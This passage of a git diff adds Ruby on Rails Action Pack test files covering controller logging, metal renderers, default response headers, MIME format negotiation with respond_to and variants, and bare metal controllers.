+  def test_filter_redirect_url_by_regexp
+    @request.env["action_dispatch.redirect_filter"] = [/secret\.foo.+/]
+    get :filterable_redirector
+    wait
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to [FILTERED]", logs[1]
+  end
+
+  def test_send_data
+    get :data_sender
+    wait
+
+    assert_equal 3, logs.size
+    assert_match(/Sent data file\.txt/, logs[1])
+  end
+
+  def test_send_file
+    get :file_sender
+    wait
+
+    assert_equal 3, logs.size
+    assert_match(/Sent file/, logs[1])
+    assert_match(/test\/fixtures\/company\.rb/, logs[1])
+  end
+
+  def test_with_fragment_cache
+    @controller.config.perform_caching = true
+    get :with_fragment_cache
+    wait
+
+    assert_equal 4, logs.size
+    assert_match(/Read fragment views\/foo/, logs[1])
+    assert_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_with_fragment_cache_when_log_disabled
+    @controller.config.perform_caching = true
+    ActionController::Base.enable_fragment_cache_logging = false
+    get :with_fragment_cache
+    wait
+
+    assert_equal 2, logs.size
+    assert_equal "Processing by Another::LogSubscribersController#with_fragment_cache as HTML", logs[0]
+    assert_match(/Completed 200 OK in \d+ms/, logs[1])
+  ensure
+    @controller.config.perform_caching = true
+    ActionController::Base.enable_fragment_cache_logging = true
+  end
+
+  def test_with_fragment_cache_if_with_true
+    @controller.config.perform_caching = true
+    get :with_fragment_cache_if_with_true_condition
+    wait
+
+    assert_equal 4, logs.size
+    assert_match(/Read fragment views\/foo/, logs[1])
+    assert_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_with_fragment_cache_if_with_false
+    @controller.config.perform_caching = true
+    get :with_fragment_cache_if_with_false_condition
+    wait
+
+    assert_equal 2, logs.size
+    assert_no_match(/Read fragment views\/foo/, logs[1])
+    assert_no_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_with_fragment_cache_unless_with_true
+    @controller.config.perform_caching = true
+    get :with_fragment_cache_unless_with_true_condition
+    wait
+
+    assert_equal 2, logs.size
+    assert_no_match(/Read fragment views\/foo/, logs[1])
+    assert_no_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_with_fragment_cache_unless_with_false
+    @controller.config.perform_caching = true
+    get :with_fragment_cache_unless_with_false_condition
+    wait
+
+    assert_equal 4, logs.size
+    assert_match(/Read fragment views\/foo/, logs[1])
+    assert_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_with_fragment_cache_and_percent_in_key
+    @controller.config.perform_caching = true
+    get :with_fragment_cache_and_percent_in_key
+    wait
+
+    assert_equal 4, logs.size
+    assert_match(/Read fragment views\/foo/, logs[1])
+    assert_match(/Write fragment views\/foo/, logs[2])
+  ensure
+    @controller.config.perform_caching = true
+  end
+
+  def test_process_action_with_exception_includes_http_status_code
+    begin
+      get :with_exception
+      wait
+    rescue Exception
+    end
+    assert_equal 2, logs.size
+    assert_match(/Completed 500/, logs.last)
+  end
+
+  def test_process_action_with_rescued_exception_includes_http_status_code
+    get :with_rescued_exception
+    wait
+
+    assert_equal 2, logs.size
+    assert_match(/Completed 406/, logs.last)
+  end
+
+  def test_process_action_with_with_action_not_found_logs_404
+    begin
+      get :with_action_not_found
+      wait
+    rescue AbstractController::ActionNotFound
+    end
+
+    assert_equal 2, logs.size
+    assert_match(/Completed 404/, logs.last)
+  end
+
+  def logs
+    @logs ||= @logger.logged(:info)
+  end
+end
diff --git a/actionpack/test/controller/metal/renderers_test.rb b/actionpack/test/controller/metal/renderers_test.rb
new file mode 100644
index 0000000000..5f0d125128
--- /dev/null
+++ b/actionpack/test/controller/metal/renderers_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash/conversions"
+
+class MetalRenderingController < ActionController::Metal
+  include AbstractController::Rendering
+  include ActionController::Rendering
+  include ActionController::Renderers
+end
+
+class MetalRenderingJsonController < MetalRenderingController
+  class Model
+    def to_json(options = {})
+      { a: "b" }.to_json(options)
+    end
+
+    def to_xml(options = {})
+      { a: "b" }.to_xml(options)
+    end
+  end
+
+  use_renderers :json
+
+  def one
+    render json: Model.new
+  end
+
+  def two
+    render xml: Model.new
+  end
+end
+
+class RenderersMetalTest < ActionController::TestCase
+  tests MetalRenderingJsonController
+
+  def test_render_json
+    get :one
+    assert_response :success
+    assert_equal({ a: "b" }.to_json, @response.body)
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_xml
+    get :two
+    assert_response :success
+    assert_equal(" ", @response.body)
+    assert_equal "text/plain", @response.content_type
+  end
+end
diff --git a/actionpack/test/controller/metal_test.rb b/actionpack/test/controller/metal_test.rb
new file mode 100644
index 0000000000..c235c9df86
--- /dev/null
+++ b/actionpack/test/controller/metal_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MetalControllerInstanceTests < ActiveSupport::TestCase
+  class SimpleController < ActionController::Metal
+    def hello
+      self.response_body = "hello"
+    end
+  end
+
+  def test_response_has_default_headers
+    original_default_headers = ActionDispatch::Response.default_headers
+
+    ActionDispatch::Response.default_headers = {
+      "X-Frame-Options" => "DENY",
+      "X-Content-Type-Options" => "nosniff",
+      "X-XSS-Protection" => "1;"
+    }
+
+    response_headers = SimpleController.action("hello").call(
+      "REQUEST_METHOD" => "GET",
+      "rack.input" => -> {}
+    )[1]
+
+    refute response_headers.key?("X-Frame-Options")
+    refute response_headers.key?("X-Content-Type-Options")
+    refute response_headers.key?("X-XSS-Protection")
+  ensure
+    ActionDispatch::Response.default_headers = original_default_headers
+  end
+end
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
new file mode 100644
index 0000000000..eed671d593
--- /dev/null
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class StarStarMimeController < ActionController::Base
+  layout nil
+
+  def index
+    render
+  end
+end
+
+class StarStarMimeControllerTest < ActionController::TestCase
+  def test_javascript_with_format
+    @request.accept = "text/javascript"
+    get :index, format: "js"
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+
+  def test_javascript_with_no_format
+    @request.accept = "text/javascript"
+    get :index
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+
+  def test_javascript_with_no_format_only_star_star
+    @request.accept = "*/*"
+    get :index
+    assert_match "function addition(a,b){ return a+b; }", @response.body
+  end
+end
+
+class AbstractPostController < ActionController::Base
+  self.view_paths = File.expand_path("../../fixtures/post_test", __dir__)
+end
+
+# For testing layouts which are set automatically
+class PostController < AbstractPostController
+  around_action :with_iphone
+
+  def index
+    respond_to(:html, :iphone, :js)
+  end
+
+private
+
+  def with_iphone
+    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+    yield
+  end
+end
+
+class SuperPostController < PostController
+end
+
+class MimeControllerLayoutsTest < ActionController::TestCase
+  tests PostController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+    Mime::Type.register_alias("text/html", :iphone)
+  end
+
+  def teardown
+    super
+    Mime::Type.unregister(:iphone)
+  end
+
+  def test_missing_layout_renders_properly
+    get :index
+    assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal "Hello iPhone", @response.body
+  end
+
+  def test_format_with_inherited_layouts
+    @controller = SuperPostController.new
+
+    get :index
+    assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
+
+    @request.accept = "text/iphone"
+    get :index
+    assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
+  end
+
+  def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
+    get :index, format: :js
+    assert_equal "Hello Firefox", @response.body
+  end
+end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
new file mode 100644
index 0000000000..f9ffd5f54c
--- /dev/null
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -0,0 +1,843 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+
+class RespondToController < ActionController::Base
+  layout :set_layout
+
+  before_action {
+    case params[:v]
+    when String then request.variant = params[:v].to_sym
+    when Array then request.variant = params[:v].map(&:to_sym)
+    end
+  }
+
+  def html_xml_or_rss
+    respond_to do |type|
+      type.html { render body: "HTML"    }
+      type.xml  { render body: "XML"     }
+      type.rss  { render body: "RSS"     }
+      type.all  { render body: "Nothing" }
+    end
+  end
+
+  def js_or_html
+    respond_to do |type|
+      type.html { render body: "HTML"    }
+      type.js   { render body: "JS"      }
+      type.all  { render body: "Nothing" }
+    end
+  end
+
+  def json_or_yaml
+    respond_to do |type|
+      type.json { render body: "JSON" }
+      type.yaml { render body: "YAML" }
+    end
+  end
+
+  def html_or_xml
+    respond_to do |type|
+      type.html { render body: "HTML"    }
+      type.xml  { render body: "XML"     }
+      type.all  { render body: "Nothing" }
+    end
+  end
+
+  def json_xml_or_html
+    respond_to do |type|
+      type.json { render body: "JSON" }
+      type.xml { render xml: "XML" }
+      type.html { render body: "HTML" }
+    end
+  end
+
+  def forced_xml
+    request.format = :xml
+
+    respond_to do |type|
+      type.html { render body: "HTML"    }
+      type.xml  { render body: "XML"     }
+    end
+  end
+
+  def just_xml
+    respond_to do |type|
+      type.xml  { render body: "XML" }
+    end
+  end
+
+  def using_defaults
+    respond_to do |type|
+      type.html
+      type.xml
+    end
+  end
+
+  def missing_templates
+    respond_to do |type|
+      # This test requires a block that is empty
+      type.json {}
+      type.xml
+    end
+  end
+
+  def using_defaults_with_type_list
+    respond_to(:html, :xml)
+  end
+
+  def using_defaults_with_all
+    respond_to do |type|
+      type.html
+      type.all { render body: "ALL" }
+    end
+  end
+
+  def made_for_content_type
+    respond_to do |type|
+      type.rss  { render body: "RSS"  }
+      type.atom { render body: "ATOM" }
+      type.all  { render body: "Nothing" }
+    end
+  end
+
+  def custom_type_handling
+    respond_to do |type|
+      type.html { render body: "HTML"    }
+      type.custom("application/crazy-xml")  { render body: "Crazy XML"  }
+      type.all  { render body: "Nothing" }
+    end
+  end
+
+  def custom_constant_handling
+    respond_to do |type|
+      type.html   { render body: "HTML"   }
+      type.mobile { render body: "Mobile" }
+    end
+  end
+
+  def custom_constant_handling_without_block
+    respond_to do |type|
+      type.html   { render body: "HTML"   }
+      type.mobile
+    end
+  end
+
+  def handle_any
+    respond_to do |type|
+      type.html { render body: "HTML" }
+      type.any(:js, :xml) { render body: "Either JS or XML" }
+    end
+  end
+
+  def handle_any_any
+    respond_to do |type|
+      type.html { render body: "HTML" }
+      type.any { render body: "Whatever you ask for, I got it" }
+    end
+  end
+
+  def all_types_with_layout
+    respond_to do |type|
+      type.html
+    end
+  end
+
+  def json_with_callback
+    respond_to do |type|
+      type.json { render json: "JS", callback: "alert" }
+    end
+  end
+
+  def iphone_with_html_response_type
+    request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox" }
+      type.iphone { @type = "iPhone"  }
+    end
+  end
+
+  def iphone_with_html_response_type_without_layout
+    request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
+
+    respond_to do |type|
+      type.html   { @type = "Firefox"; render action: "iphone_with_html_response_type" }
+      type.iphone { @type = "iPhone" ; render action: "iphone_with_html_response_type" }
+    end
+  end
+
+  def variant_with_implicit_template_rendering
+    # This has exactly one variant template defined in the file system (+mobile.html.erb),
+    # which raises the regular MissingTemplate error for other variants.
+  end
+
+  def variant_without_implicit_template_rendering
+    # This differs from the above in that it does not have any templates defined in the file
+    # system, which triggers the ImplicitRender (204 No Content) behavior.
+  end
+
+  def variant_with_format_and_custom_render
+    request.variant = :mobile
+
+    respond_to do |type|
+      type.html { render body: "mobile" }
+    end
+  end
+
+  def multiple_variants_for_format
+    respond_to do |type|
+      type.html do |html|
+        html.tablet { render body: "tablet" }
+        html.phone  { render body: "phone" }
+      end
+    end
+  end
+
+  def variant_plus_none_for_format
+    respond_to do |format|
+      format.html do |variant|
+        variant.phone { render body: "phone" }
+        variant.none
+      end
+    end
+  end
+
+  def variant_inline_syntax
+    respond_to do |format|
+      format.js         { render body: "js"    }
+      format.html.none  { render body: "none"  }
+      format.html.phone { render body: "phone" }
+    end
+  end
+
+  def variant_inline_syntax_without_block
+    respond_to do |format|
+      format.js
+      format.html.none
+      format.html.phone
+    end
+  end
+
+  def variant_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any(:tablet, :phablet) { render body: "any" }
+        variant.phone { render body: "phone" }
+      end
+    end
+  end
+
+  def variant_any_any
+    respond_to do |format|
+      format.html do |variant|
+        variant.any   { render body: "any"   }
+        variant.phone { render body: "phone" }
+      end
+    end
+  end
+
+  def variant_inline_any
+    respond_to do |format|
+      format.html.any(:tablet, :phablet) { render body: "any" }
+      format.html.phone { render body: "phone" }
+    end
+  end
+
+  def variant_inline_any_any
+    respond_to do |format|
+      format.html.phone { render body: "phone" }
+      format.html.any   { render body: "any"   }
+    end
+  end
+
+  def variant_any_implicit_render
+    respond_to do |format|
+      format.html.phone
+      format.html.any(:tablet, :phablet)
+    end
+  end
+
+  def variant_any_with_none
+    respond_to do |format|
+      format.html.any(:none, :phone) { render body: "none or phone" }
+    end
+  end
+
+  def format_any_variant_any
+    respond_to do |format|
+      format.html { render body: "HTML" }
+      format.any(:js, :xml) do |variant|
+        variant.phone { render body: "phone" }
+        variant.any(:tablet, :phablet) { render body: "tablet" }
+      end
+    end
+  end
+
+  private
+    def set_layout
+      case action_name
+      when "all_types_with_layout", "iphone_with_html_response_type"
+        "respond_to/layouts/standard"
+      when "iphone_with_html_response_type_without_layout"
+        "respond_to/layouts/missing"
+      end
+    end
+end
+
+class RespondToControllerTest < ActionController::TestCase
+  NO_CONTENT_WARNING = "No template found for RespondToController#variant_without_implicit_template_rendering, rendering head :no_content"
+
+  def setup
+    super
+    @request.host = "www.example.com"
+    Mime::Type.register_alias("text/html", :iphone)
+    Mime::Type.register("text/x-mobile", :mobile)
+  end
+
+  def teardown
+    super
+    Mime::Type.unregister(:iphone)
+    Mime::Type.unregister(:mobile)
+  end
+
+  def test_html
+    @request.accept = "text/html"
+    get :js_or_html
+    assert_equal "HTML", @response.body
+
+    get :html_or_xml
+    assert_equal "HTML", @response.body
+
+    assert_raises(ActionController::UnknownFormat) do
+      get :just_xml
+    end
+  end
+
+  def test_all
+    @request.accept = "*/*"
+    get :js_or_html
+    assert_equal "HTML", @response.body # js is not part of all
+
+    get :html_or_xml
+    assert_equal "HTML", @response.body
+
+    get :just_xml
+    assert_equal "XML", @response.body
+  end
+
+  def test_xml
+    @request.accept = "application/xml"
+    get :html_xml_or_rss
+    assert_equal "XML", @response.body
+  end
+
+  def test_js_or_html
+    @request.accept = "text/javascript, text/html"
+    get :js_or_html, xhr: true
+    assert_equal "JS", @response.body
+
+    @request.accept = "text/javascript, text/html"
+    get :html_or_xml, xhr: true
+    assert_equal "HTML", @response.body
+
+    @request.accept = "text/javascript, text/html"
+
+    assert_raises(ActionController::UnknownFormat) do
+      get :just_xml, xhr: true
+    end
+  end
+
+  def test_json_or_yaml_with_leading_star_star
+    @request.accept = "*/*, application/json"
+    get :json_xml_or_html
+    assert_equal "HTML", @response.body
+
+    @request.accept = "*/* , application/json"
+    get :json_xml_or_html
+    assert_equal "HTML", @response.body
+  end
+
+  def test_json_or_yaml
+    get :json_or_yaml, xhr: true
+    assert_equal "JSON", @response.body
+
+    get :json_or_yaml, format: "json"
+    assert_equal "JSON", @response.body
+
+    get :json_or_yaml, format: "yaml"
+    assert_equal "YAML", @response.body
+
+    { "YAML" => %w(text/yaml),
+      "JSON" => %w(application/json text/x-json)
+    }.each do |body, content_types|
+      content_types.each do |content_type|
+        @request.accept = content_type
+        get :json_or_yaml
+        assert_equal body, @response.body
+      end
+    end
+  end
+
+  def test_js_or_anything
+    @request.accept = "text/javascript, */*"
+    get :js_or_html, xhr: true
+    assert_equal "JS", @response.body
+
+    get :html_or_xml, xhr: true
+    assert_equal "HTML", @response.body
+
+    get :just_xml, xhr: true
+    assert_equal "XML", @response.body
+  end
+
+  def test_using_defaults
+    @request.accept = "*/*"
+    get :using_defaults
+    assert_equal "text/html", @response.content_type
+    assert_equal "Hello world!", @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_using_defaults_with_all
+    @request.accept = "*/*"
+    get :using_defaults_with_all
+    assert_equal "HTML!", @response.body.strip
+
+    @request.accept = "text/html"
+    get :using_defaults_with_all
+    assert_equal "HTML!", @response.body.strip
+
+    @request.accept = "application/json"
+    get :using_defaults_with_all
+    assert_equal "ALL", @response.body
+  end
+
+  def test_using_defaults_with_type_list
+    @request.accept = "*/*"
+    get :using_defaults_with_type_list
+    assert_equal "text/html", @response.content_type
+    assert_equal "Hello world!", @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults_with_type_list
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_with_atom_content_type
+    @request.accept = ""
+    @request.env["CONTENT_TYPE"] = "application/atom+xml"
+    get :made_for_content_type, xhr: true
+    assert_equal "ATOM", @response.body
+  end
+
+  def test_with_rss_content_type
+    @request.accept = ""
+    @request.env["CONTENT_TYPE"] = "application/rss+xml"
+    get :made_for_content_type, xhr: true
+    assert_equal "RSS", @response.body
+  end
+
+  def test_synonyms
+    @request.accept = "application/javascript"
+    get :js_or_html
+    assert_equal "JS", @response.body
+
+    @request.accept = "application/x-xml"
+    get :html_xml_or_rss
+    assert_equal "XML", @response.body
+  end
+
+  def test_custom_types
+    @request.accept = "application/crazy-xml"
+    get :custom_type_handling
+    assert_equal "application/crazy-xml", @response.content_type
+    assert_equal "Crazy XML", @response.body
+
+    @request.accept = "text/html"
+    get :custom_type_handling
+    assert_equal "text/html", @response.content_type
+    assert_equal "HTML", @response.body
+  end
+
+  def test_xhtml_alias
+    @request.accept = "application/xhtml+xml,application/xml"
+    get :html_or_xml
+    assert_equal "HTML", @response.body
+  end
+
+  def test_firefox_simulation
+    @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+    get :html_or_xml
+    assert_equal "HTML", @response.body
+  end
+
+  def test_handle_any
+    @request.accept = "*/*"
+    get :handle_any
+    assert_equal "HTML", @response.body
+
+    @request.accept = "text/javascript"
+    get :handle_any
+    assert_equal "Either JS or XML", @response.body
+
+    @request.accept = "text/xml"
+    get :handle_any
+    assert_equal "Either JS or XML", @response.body
+  end
+
+  def test_handle_any_any
+    @request.accept = "*/*"
+    get :handle_any_any
+    assert_equal "HTML", @response.body
+  end
+
+  def test_handle_any_any_parameter_format
+    get :handle_any_any, format: "html"
+    assert_equal "HTML", @response.body
+  end
+
+  def test_handle_any_any_explicit_html
+    @request.accept = "text/html"
+    get :handle_any_any
+    assert_equal "HTML", @response.body
+  end
+
+  def test_handle_any_any_javascript
+    @request.accept = "text/javascript"
+    get :handle_any_any
+    assert_equal "Whatever you ask for, I got it", @response.body
+  end
+
+  def test_handle_any_any_xml
+    @request.accept = "text/xml"
+    get :handle_any_any
+    assert_equal "Whatever you ask for, I got it", @response.body
+  end
+
+  def test_handle_any_any_unknown_format
+    get :handle_any_any, format: "php"
+    assert_equal "Whatever you ask for, I got it", @response.body
+  end
+
+  def test_browser_check_with_any_any
+    @request.accept = "application/json, application/xml"
+    get :json_xml_or_html
+    assert_equal "JSON", @response.body
+
+    @request.accept = "application/json, application/xml, */*"
+    get :json_xml_or_html
+    assert_equal "HTML", @response.body
+  end
+
+  def test_html_type_with_layout
+    @request.accept = "text/html"
+    get :all_types_with_layout
+    assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+  end
+
+  def test_json_with_callback_sets_javascript_content_type
+    @request.accept = "application/json"
+    get :json_with_callback
+    assert_equal "/**/alert(JS)", @response.body
+    assert_equal "text/javascript", @response.content_type
+  end
+
+  def test_xhr
+    get :js_or_html, xhr: true
+    assert_equal "JS", @response.body
+  end
+
+  def test_custom_constant
+    get :custom_constant_handling, format: "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_custom_constant_handling_without_block
+    get :custom_constant_handling_without_block, format: "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_forced_format
+    get :html_xml_or_rss
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, format: "html"
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, format: "xml"
+    assert_equal "XML", @response.body
+
+    get :html_xml_or_rss, format: "rss"
+    assert_equal "RSS", @response.body
+  end
+
+  def test_internally_forced_format
+    get :forced_xml
+    assert_equal "XML", @response.body
+
+    get :forced_xml, format: "html"
+    assert_equal "XML", @response.body
+  end
+
+  def test_extension_synonyms
+    get :html_xml_or_rss, format: "xhtml"
+    assert_equal "HTML", @response.body
+  end
+
+  def test_render_action_for_html
+    @controller.instance_eval do
+      def render(*args)
+        @action = args.first[:action] unless args.empty?
+        @action ||= action_name
+
+        response.body = "#{@action} - #{formats}"
+      end
+    end
+
+    get :using_defaults
+    assert_equal "using_defaults - #{[:html]}", @response.body
+
+    get :using_defaults, format: "xml"
+    assert_equal "using_defaults - #{[:xml]}", @response.body
+  end
+
+  def test_format_with_custom_response_type
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+    get :iphone_with_html_response_type, format: "iphone"
+    assert_equal "text/html", @response.content_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+  end
+
+  def test_format_with_custom_response_type_and_request_headers
+    @request.accept = "text/iphone"
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_invalid_format
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_defaults, format: "invalidformat"
+    end
+  end
+
+  def test_missing_templates
+    get :missing_templates, format: :json
+    assert_response :no_content
+    get :missing_templates, format: :xml
+    assert_response :no_content
+  end
+
+  def test_invalid_variant
+    assert_raises(ActionController::UnknownFormat) do
+      get :variant_with_implicit_template_rendering, params: { v: :invalid }
+    end
+  end
+
+  def test_variant_not_set_regular_unknown_format
+    assert_raises(ActionController::UnknownFormat) do
+      get :variant_with_implicit_template_rendering
+    end
+  end
+
+  def test_variant_with_implicit_template_rendering
+    get :variant_with_implicit_template_rendering, params: { v: :mobile }
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_variant_without_implicit_rendering_from_browser
+    assert_raises(ActionController::UnknownFormat) do
+      get :variant_without_implicit_template_rendering, params: { v: :does_not_matter }
+    end
+  end
+
+  def test_variant_variant_not_set_and_without_implicit_rendering_from_browser
+    assert_raises(ActionController::UnknownFormat) do
+      get :variant_without_implicit_template_rendering
+    end
+  end
+
+  def test_variant_without_implicit_rendering_from_xhr
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    old_logger, ActionController::Base.logger = ActionController::Base.logger, logger
+
+    get :variant_without_implicit_template_rendering, xhr: true, params: { v: :does_not_matter }
+    assert_response :no_content
+
+    assert_equal 1, logger.logged(:info).select { |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged"
+  ensure
+    ActionController::Base.logger = old_logger
+  end
+
+  def test_variant_without_implicit_rendering_from_api
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    old_logger, ActionController::Base.logger = ActionController::Base.logger, logger
+
+    get :variant_without_implicit_template_rendering, format: "json", params: { v: :does_not_matter }
+    assert_response :no_content
+
+    assert_equal 1, logger.logged(:info).select { |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged"
+  ensure
+    ActionController::Base.logger = old_logger
+  end
+
+  def test_variant_variant_not_set_and_without_implicit_rendering_from_xhr
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    old_logger, ActionController::Base.logger = ActionController::Base.logger, logger
+
+    get :variant_without_implicit_template_rendering, xhr: true
+    assert_response :no_content
+
+    assert_equal 1, logger.logged(:info).select { |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged"
+  ensure
+    ActionController::Base.logger = old_logger
+  end
+
+  def test_variant_with_format_and_custom_render
+    get :variant_with_format_and_custom_render, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_multiple_variants_for_format
+    get :multiple_variants_for_format, params: { v: :tablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_no_variant_in_variant_setup
+    get :variant_plus_none_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+  end
+
+  def test_variant_inline_syntax
+    get :variant_inline_syntax
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+
+    get :variant_inline_syntax, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_inline_syntax_with_format
+    get :variant_inline_syntax, format: :js
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "js", @response.body
+  end
+
+  def test_variant_inline_syntax_without_block
+    get :variant_inline_syntax_without_block, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_any
+    get :variant_any, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    get :variant_any, params: { v: :tablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    get :variant_any, params: { v: :phablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_any
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    get :variant_any_any, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    get :variant_any_any, params: { v: :yolo }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any
+    get :variant_any, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    get :variant_inline_any, params: { v: :tablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    get :variant_inline_any, params: { v: :phablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any_any
+    get :variant_inline_any_any, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    get :variant_inline_any_any, params: { v: :yolo }
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_implicit_render
+    get :variant_any_implicit_render, params: { v: :tablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+
+    get :variant_any_implicit_render, params: { v: :phablet }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phablet", @response.body
+  end
+
+  def test_variant_any_with_none
+    get :variant_any_with_none
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+
+    get :variant_any_with_none, params: { v: :phone }
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+  end
+
+  def test_format_any_variant_any
+    get :format_any_variant_any, format: :js, params: { v: :tablet }
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_variant_negotiation_inline_syntax
+    get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_negotiation_block_syntax
+    get :variant_plus_none_for_format, params: { v: [:tablet, :phone] }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_negotiation_without_block
+    get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] }
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
new file mode 100644
index 0000000000..b049022a06
--- /dev/null
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module BareMetalTest
+  class BareController < ActionController::Metal
+    def index
+      self.response_body = "Hello world"
+    end
+  end
+
+  class BareTest < ActiveSupport::TestCase
+    test "response body is a Rack-compatible response" do
+      status, headers, body = BareController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal 200, status
+      string = "".dup
+
+      body.each do |part|
+        assert part.is_a?(String), "Each part of the body must be a String"
+        string << part
+      end
+
+      assert_kind_of Hash, headers, "Headers must be a Hash"
+      assert headers["Content-Type"], "Content-Type must exist"
+
+      assert_equal "Hello world", string
+    end
+
+    test "response_body value is wrapped in an array when the value is a String" do
+      controller = BareController.new
+      controller.set_request!(ActionDispatch::Request.empty)
+      controller.set_response!(BareController.make_response!(controller.request))
+      controller.index
+      assert_equal ["Hello world"], controller.response_body
+    end
+
+    test "connect a request to controller instance without dispatch" do
+      env = {}
+      controller = BareController.new
+      controller.set_request! ActionDispatch::Request.new(env)
